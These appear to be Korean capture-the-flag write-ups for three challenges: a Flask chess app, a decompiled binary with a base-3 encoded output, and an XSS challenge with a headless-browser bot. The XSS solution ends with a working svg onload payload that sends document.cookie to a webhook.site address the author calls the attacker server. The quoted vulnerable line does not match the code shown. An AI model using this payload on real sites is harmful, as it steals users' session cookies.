Welcome-Pawn - NT_DoHyun
from flask import Flask, render_template, jsonify, request
import os
app = Flask(__name__)
EXPECTED_SEQUENCE = ['f1', 'a1', 'g1']
@app.route('/')
def chess_board():
return render_template('chess_board.html')
@app.route('/check_moves', methods=['POST'])
def check_moves():
move_sequence = request.json.get('moves', [])
if move_sequence[-3:] == EXPECTED_SEQUENCE:
flag_path = os.path.join(app.root_path, 'flag.txt')
try:
with open(flag_path, 'r') as file:
flag_content = file.read().strip()
return jsonify({"flag": flag_content})
except FileNotFoundError:
return jsonify({"error": "Flag file not found"}), 404
else:
return jsonify({"message": "Incorrect move sequence"}), 400
if __name__ == '__main__':
app.run(debug=True, host='0.0.0.0')
체스 말을 세로로 쭉 올려서 킹으로 변경 시킨 후, 킹을 (a, 1), (f, 1), (g, 1) 좌표에 한번씩 위치시키면 플래그가 출력된다.
Three Shapes - NT_DoHyun
__int64 __fastcall main(int a1, char **a2, char **a3)
{
char src[8]; // [rsp+0h] [rbp-A0h] BYREF
__int64 v5; // [rsp+8h] [rbp-98h]
__int64 v6; // [rsp+10h] [rbp-90h]
__int64 v7; // [rsp+18h] [rbp-88h]
__int64 v8; // [rsp+20h] [rbp-80h]
__int64 v9; // [rsp+28h] [rbp-78h]
__int64 v10; // [rsp+30h] [rbp-70h]
__int64 v11; // [rsp+38h] [rbp-68h]
char v12; // [rsp+40h] [rbp-60h]
char dest[8]; // [rsp+50h] [rbp-50h] BYREF
__int64 v14; // [rsp+58h] [rbp-48h]
__int64 v15; // [rsp+60h] [rbp-40h]
__int64 v16; // [rsp+68h] [rbp-38h]
__int64 v17; // [rsp+70h] [rbp-30h]
__int64 v18; // [rsp+78h] [rbp-28h]
__int64 v19; // [rsp+80h] [rbp-20h]
__int64 v20; // [rsp+88h] [rbp-18h]
char v21; // [rsp+90h] [rbp-10h]
unsigned __int64 v22; // [rsp+98h] [rbp-8h]
v22 = __readfsqword(0x28u);
*(_QWORD *)src = 0LL;
v5 = 0LL;
v6 = 0LL;
v7 = 0LL;
v8 = 0LL;
v9 = 0LL;
v10 = 0LL;
v11 = 0LL;
v12 = 0;
*(_QWORD *)dest = 0LL;
v14 = 0LL;
v15 = 0LL;
v16 = 0LL;
v17 = 0LL;
v18 = 0LL;
v19 = 0LL;
v20 = 0LL;
v21 = 0;
printf("flag> ");
__isoc99_scanf("%64s", src);
strcpy(dest, src);
sub_11E9(src);
sub_14913(src);
if ( !memcmp(src, &unk_19020, 0x40uLL) )
printf("Correct! Flag is DH{%s}\n", dest);
else
puts("Wrong!");
return 0LL;
}
이 바이너리는 Target : 뒤에 △, ◎, ▢로 이루어진 긴 문자열을 출력합니다.
이 문자열은 3진수이며 숫자 매핑은: ◎은 0, △은 1, ▢은 2이다.
이 바이너리를 실행하면 아래 문자열이 출력된다.
◎▢△△▢◎△△◎△▢◎◎△△▢△△◎▢◎△△▢◎◎◎△△△◎◎△◎△◎◎◎◎△△
이를 디코딩하여 나온 문자열인 16228850179391424600을 플래그 형식에 맞추어 작성하면 된다.
XSS Bye~ - NT_DoHyun
app.py
from flask import Flask, request, render_template, redirect
from selenium import webdriver
from selenium.webdriver.chrome.service import Service
from urllib.parse import quote
from time import sleep
from os import urandom
app = Flask(__name__)
app.secret_key = urandom(32)
try:
FLAG = open("./flag.txt", "r").read()
except:
FLAG = "[**FLAG**]"
def access_page(param, cookie={"name": "name", "value": "value"}):
try:
service = Service(executable_path="/chromedriver-linux64/chromedriver")
options = webdriver.ChromeOptions()
for _ in [
"headless",
"window-size=1920x1080",
"disable-gpu",
"no-sandbox",
"disable-dev-shm-usage",
]:
options.add_argument(_)
driver = webdriver.Chrome(service=service, options=options)
driver.implicitly_wait(3)
driver.set_page_load_timeout(3)
driver.get(f"http://127.0.0.1:8000/")
driver.add_cookie(cookie)
driver.get(f"http://127.0.0.1:8000/test?content={quote(param)}")
sleep(1)
except Exception as e:
print(e, flush=True)
driver.quit()
return False
driver.quit()
return True
@app.route("/",methods=["GET"])
def index():
return redirect('/test')
@app.route("/test", methods=["GET"])
def test():
return render_template('index.html')
@app.route("/report", methods=["GET", "POST"])
def report():
if request.method == "POST":
param = request.form.get("content")
if not param:
return render_template("report.html", msg="fail")
else:
if access_page(param, cookie={"name": "flag", "value": FLAG}):
return render_template("report.html", msg="Success")
else:
return render_template("report.html", msg="fail")
else:
return render_template("report.html")
if __name__ == "__main__":
app.run(host="0.0.0.0", port=8000)
index.html
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<link rel="stylesheet" href="{{ url_for('static', filename='index.css') }}">
</head>
<body>
<script>
document.write('<form>');
document.write('<input type="text" placeholder="여기에 입력하세요...">');
document.write('<button type="submit">제출</button>');
document.write('</form>');
</script>
<p>입력된 값: <span id="userInput"></span></p>
<script>
const params = new URLSearchParams(window.location.search);
if(params.has('content') && !/<(applet|base|basefont|command|embed|frame|frameset|iframe|keygen|link|meta|noframes|noscript|object|param|script|title|img|svg|a|input|style).*src/i.test(params.get('content'))){
document.getElementById("userInput").innerHTML = params.get('content');
}else{
document.addEventListener('DOMContentLoaded', (event) => {
document.querySelector("form").addEventListener("submit", function(event) {
event.preventDefault();
const input = document.querySelector("input").value;
if(!/<(applet|base|basefont|command|embed|frame|frameset|iframe|keygen|link|meta|noframes|noscript|object|param|script|title|img|svg|a|input|style).*src/i.test(input)){
document.getElementById("userInput").innerHTML = input;
}
});
});
}
</script>
</body>
</html>
report.html
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<link rel="stylesheet" href="{{ url_for('static', filename='report.css') }}">
</head>
<body>
<form action="{{ url_for('report') }}" method="post">
<label for="userUrl">컨텐츠를 입력하세요:</label><br>
<input type="text" id="userUrl" name="userUrl" required><br>
<input type="submit" value="제출">
</form>
{% if msg %}
<p>{{ msg }}</p>
{% endif %}
</body>
</html>
XSS (Cross-Site_Scripting) 취약점이 터지는 웹 시스템이다.
취약점이 터지는 부분은 아래와 같다.
document.getElementById("userInput").innerHTML = params.get('userUrl');
위 코드에서 params.gets()의 인자를 “content”로 변조시킨 후, 입력 필드에 아래의 XSS 코드를 삽입하여 플래그를 획득할수 있다.
<svg onload="fetch('https://webhook.site/fc6d35af-1211-4572-9aef-f03c3d8d555f/37791f46-35d3-48c6-8f83-a992940c6839?cookie=' + document.cookie)"></svg>
이후, 공격자 서버인 https://webhook.site/fc6d35af-1211-4572-9aef-f03c3d8d555f/37791f46-35d3-48c6-8f83-a992940c6839 에서 확인해보면 플래그가 출력된 것을 볼 수 있다.
